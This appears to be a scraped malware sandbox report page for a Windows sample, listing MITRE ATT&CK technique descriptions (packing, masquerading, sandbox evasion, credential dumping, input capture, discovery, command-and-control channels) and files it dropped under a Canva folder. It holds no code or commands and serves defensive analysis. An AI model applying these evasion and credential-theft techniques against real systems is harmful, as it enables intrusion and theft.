Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9VbeqQbgU4.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Canva\Canva.exe (copy)

C:\Program Files (x86)\Canva\LICENSE.electron.txt (copy)

C:\Program Files (x86)\Canva\LICENSES.chromium.html (copy)

C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)

C:\Program Files (x86)\Canva\chrome_100_percent.pak (copy)

C:\Program Files (x86)\Canva\chrome_200_percent.pak (copy)

C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)

C:\Program Files (x86)\Canva\ffmpeg.dll (copy)

C:\Program Files (x86)\Canva\icudtl.dat (copy)

Windows Analysis Report
9VbeqQbgU4.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre